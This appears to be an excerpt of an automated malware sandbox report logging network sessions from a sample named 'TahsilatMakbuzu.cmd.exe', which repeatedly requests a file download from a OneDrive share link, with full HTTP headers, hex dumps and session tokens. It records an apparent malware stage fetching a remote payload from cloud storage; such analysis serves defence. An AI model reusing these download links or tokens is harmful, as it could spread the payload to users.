BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM3LCJuYmYiOjE3MjAxMTcwMzcsImdpdmVuX25hbWUiOiI2MSIsImZhbWlseV9uYW1lIjoiVmlwZXIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NDU5YWE0Nzg3MTJhYTI3ODdmNzZlYTgzOTQyZjU5YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDM3fQ.ZTYm8DgHWdv5gq-YAziC5qNudlCChTOWU5Gryg4Um4CMDi2yHVzBnu6wf-Qt1nNdg5IpzBoVRU2B2THSGO_JKP6pEjDugktFu0yEThHi0q9rb1-6NH78ideuNc4qJ80gxrTWV4UnV-4-GYpYtGOVArmT5MAytPLLFc50cN1OiayDZnbcfAIpAsbVFXH6cvqQBkatZYhBsKcKNbWYOYg6aDWnH7Lj-Vag7kCHQt-tTklD2gdVeQ6Eu27-1vO7tvMIQbv9ItE2IhkvG9_UnC3A73lgT6SHi0Que70sRXAA28Hv7xL_OO0i7Umgg36gsP0DwskU__iGREkyDQDsqrPifw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:18 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-5gwnq X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 91C91901CFCE4FDEA20A645F2D106EB8 Ref B: BN3EDGE0220 Ref C: 2024-07-04T18:17:17Z Date: Thu, 04 Jul 2024 18:17:18 GMT Connection: close
2024-07-04 18:17:18 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49796	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:19 UTC	1287	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM3LCJuYmYiOjE3MjAxMTcwMzcsImdpdmVuX25hbWUiOiI2MSIsImZhbWlseV9uYW1lIjoiVmlwZXIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NDU5YWE0Nzg3MTJhYTI3ODdmNzZlYTgzOTQyZjU5YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDM3fQ.ZTYm8DgHWdv5gq-YAziC5qNudlCChTOWU5Gryg4Um4CMDi2yHVzBnu6wf-Qt1nNdg5IpzBoVRU2B2THSGO_JKP6pEjDugktFu0yEThHi0q9rb1-6NH78ideuNc4qJ80gxrTWV4UnV-4-GYpYtGOVArmT5MAytPLLFc50cN1OiayDZnbcfAIpAsbVFXH6cvqQBkatZYhBsKcKNbWYOYg6aDWnH7Lj-Vag7kCHQt-tTklD2gdVeQ6Eu27-1vO7tvMIQbv9ItE2IhkvG9_UnC3A73lgT6SHi0Que70sRXAA28Hv7xL_OO0i7Umgg36gsP0DwskU__iGREkyDQDsqrPifw; E=P:TjTUiVWc3Ig=:Oed5d7sTq40YXp9jfikvYeiXJTnFFDdpVxWvQo6a/MU=:F; xid=ac1ba27e-562c-4750-a5e7-59d92a3f0a [TRUNCATED]
2024-07-04 18:17:19 UTC	1926	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,53,20928,0,180510,17 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3e1239a1-3084-5000-e7b5-da54eb9f81e6 request-id: 3e1239a1-3084-5000-e7b5-da54eb9f81e6 MS-CV: oTkSPoQwAFDntdpU65+B5g.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 27 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C56B04929C6847F994904BADD7C11468 Ref B: BN3EDGE0921 Ref C: 2024-07-04T18:17:19Z Date: Thu, 04 Jul 2024 18:17:18 GMT Connection: close
2024-07-04 18:17:19 UTC	438	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 65 66 3d 22 2f 77 65 62 61 70 70 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 75 73 65 2d 63 72 65 64 65 6e 74 69 61 6c 73 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 64 61 65 39 63 33 35 66 2d 30 38 64 64 2d 34 34 65 64 2d 61 31 64 37 2d 38 35 37 64 36 38 36 39 65 31 34 32 22 3e 0d 0a 09 76 61 72 20 24 43 6f 6e 66 69 67 3d 7b 22 68 63 69 64 22 3a 22 22 2c 22 63 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 75 6e 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 66 61 6c 73 65 2c 22 65 6d 61 69 6c 22 3a 22 55 6e 41 75 74 68 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 6b 74 4c 6f 63 61 6c Data Ascii: ef="/webappmanifest.json" crossorigin="use-credentials" /><script type="text/javascript" nonce="dae9c35f-08dd-44ed-a1d7-857d6869e142">var $Config={"hcid":"","cid":"UnAuth","unid":"UnAuth","isAuthenticated":false,"email":"UnAuth","mkt":"en-US","mktLocal
2024-07-04 18:17:19 UTC	5946	IN	Data Raw: 42 22 3a 74 72 75 65 2c 22 37 44 38 41 34 31 32 31 2d 41 38 41 33 2d 34 44 41 37 2d 41 41 37 32 2d 36 43 32 33 32 45 33 33 33 41 30 38 22 3a 74 72 75 65 2c 22 33 35 44 36 33 32 33 31 2d 34 32 41 36 2d 34 44 41 31 2d 39 33 42 45 2d 37 44 32 41 30 39 39 30 35 32 34 31 22 3a 74 72 75 65 2c 22 32 42 42 36 32 46 39 31 2d 39 45 39 45 2d 34 32 30 41 2d 42 44 42 31 2d 36 41 44 32 46 34 36 42 36 37 46 33 22 3a 74 72 75 65 2c 22 45 34 46 31 38 35 38 38 2d 31 38 45 44 2d 34 32 43 44 2d 38 46 43 41 2d 41 45 33 38 30 34 36 31 36 34 38 42 22 3a 74 72 75 65 2c 22 30 41 36 36 38 36 39 38 2d 41 30 34 43 2d 34 41 45 38 2d 42 38 43 33 2d 34 38 32 34 35 39 41 35 43 38 42 32 22 3a 74 72 75 65 2c 22 39 34 37 32 31 31 42 45 2d 30 35 35 30 2d 34 33 33 44 2d 42 39 32 45 2d 33 44 Data Ascii: B":true,"7D8A4121-A8A3-4DA7-AA72-6C232E333A08":true,"35D63231-42A6-4DA1-93BE-7D2A09905241":true,"2BB62F91-9E9E-420A-BDB1-6AD2F46B67F3":true,"E4F18588-18ED-42CD-8FCA-AE380461648B":true,"0A668698-A04C-4AE8-B8C3-482459A5C8B2":true,"947211BE-0550-433D-B92E-3D
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 Data Ascii: e,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 Data Ascii: 5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tr
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 Data Ascii: -4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF4
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 Data Ascii: 2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 Data Ascii: 42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 Data Ascii: :true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F
2024-07-04 18:17:19 UTC	8192	IN	Data Raw: 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 Data Ascii: AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49797	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:20 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:20 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL6PPF39835786E Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: /71XIFAg+Uqmwnqxq37JLA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D7B639EBEEB74B12BCD00D64C72F183C Ref B: EWR311000104045 Ref C: 2024-07-04T18:17:20Z Date: Thu, 04 Jul 2024 18:17:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49798	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:21 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49799	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:21 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:22 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF669DFDACF Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: jWK0BnWpZE6tyhHjWuM0zQ.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B922F2FDA7BC4576A0F73FCC905316AB Ref B: EWR30EDGE1112 Ref C: 2024-07-04T18:17:21Z Date: Thu, 04 Jul 2024 18:17:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49800	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:22 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:23 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:+AvEjFWc3Ig=:X6j04TApGS2UvXO0jB19njyVNPMrJ3f9DWMJMjvXtAI=:F; domain=.live.com; path=/ Set-Cookie: xid=0eb8542f-34ec-4f64-8065-fa42bf60747b&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:22 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQyLCJuYmYiOjE3MjAxMTcwNDIsImdpdmVuX25hbWUiOiIzNiIsImZhbWlseV9uYW1lIjoiV2FzcCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjU1YmM3N2QxODAxNGI4OTZhYWRjMTVkYTg5YjFhNTc2IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNDJ9.L7-toSJZI05V5iJsMTf-QgNTMOVxzKRom_LXKzotIarHLj78V_Xla6dyJ14TkHOJx4d8sFTzyrJxEPC1R96ujrU4bbpwFSZAthks7G27Q2RRk7gmWpSr_dlgidCRcMBchY2k5H2wmAb6KVSnOOq522akNEcZ2w_IHPNQM9BuJ7tnabVwBZww-VYKL3f8j8xQdWonpM5oP4JpmqBisSZOlDZlZlzBoQwkIYnJ8_D